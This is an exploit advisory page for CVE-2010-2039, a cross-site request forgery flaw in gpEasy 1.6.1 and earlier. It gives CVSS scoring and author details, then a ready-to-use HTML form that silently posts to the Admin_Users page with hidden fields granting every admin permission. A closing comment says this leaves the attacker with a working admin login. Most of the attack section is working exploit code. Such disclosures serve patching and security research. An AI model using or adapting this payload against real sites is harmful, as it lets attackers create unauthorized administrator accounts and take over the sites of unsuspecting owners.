gpEasy 1.6.1 cross site request forgery

2010.04.30

Credit: Giuseppe 'giudinvx' D'Inverno

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2010-2039

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

=============================================
gpEasy <= 1.6.1 CSRF Remote Add Admin Exploit
=============================================

Author : Giuseppe 'giudinvx' D'Inverno
Email : <giudinvx[at]gmail[dot]com>
Date : 04-29-2010
Site     : http://www.giudinvx.altervista.org/
Location : Naples, Italy

--------------------------------------------------------
Application Info
Site   : http://www.gpeasy.com/
Version: 1.6.1
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<html>
<form method="post" action="[patth]/index.php/Admin_Users">
<input type="text" value="xxx" name="username"><br/>
<input type="password" value="xxx" name="password"><br/>
<input type="password" value="xxx" name="password1"><br/>
<input type="text" value="xxx" name="email"><br/>
<input value="Admin_Menu" type="hidden" name="grant[]">
<input value="Admin_Uploaded" type="hidden" name="grant[]">
<input value="Admin_Extra" type="hidden" name="grant[]">
<input value="Admin_Theme" type="hidden" name="grant[]">
<input value="Admin_Users" type="hidden" name="grant[]">
<input value="Admin_Configuration" type="hidden" name="grant[]">
<input value="Admin_Trash" type="hidden" name="grant[]">
<input value="Admin_Uninstall" type="hidden" name="grant[]">
<input value="Admin_Addons" type="hidden" name="grant[]">
<input value="Admin_New" type="hidden" name="grant[]">
<input value="Admin_Theme_Content" type="hidden" name="grant[]">
<input type="hidden" value="newuser" name="cmd">
<input type="submit" value="Continue" name="aaa" class="submit">
</form>
</html>

# Now you have an Admin user with name: xxx and password: xxx, just login
page [path]/index.php/Admin

References:

http://xforce.iss.net/xforce/xfdb/58214

http://www.vupen.com/english/advisories/2010/1030

http://www.osvdb.org/64130

http://www.exploit-db.com/exploits/12441

http://secunia.com/advisories/39643

http://packetstormsecurity.org/1004-exploits/gpeasy-xsrf.txt

See this note in RAW Version

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gpEasy 1.6.1 cross site request forgery

References:

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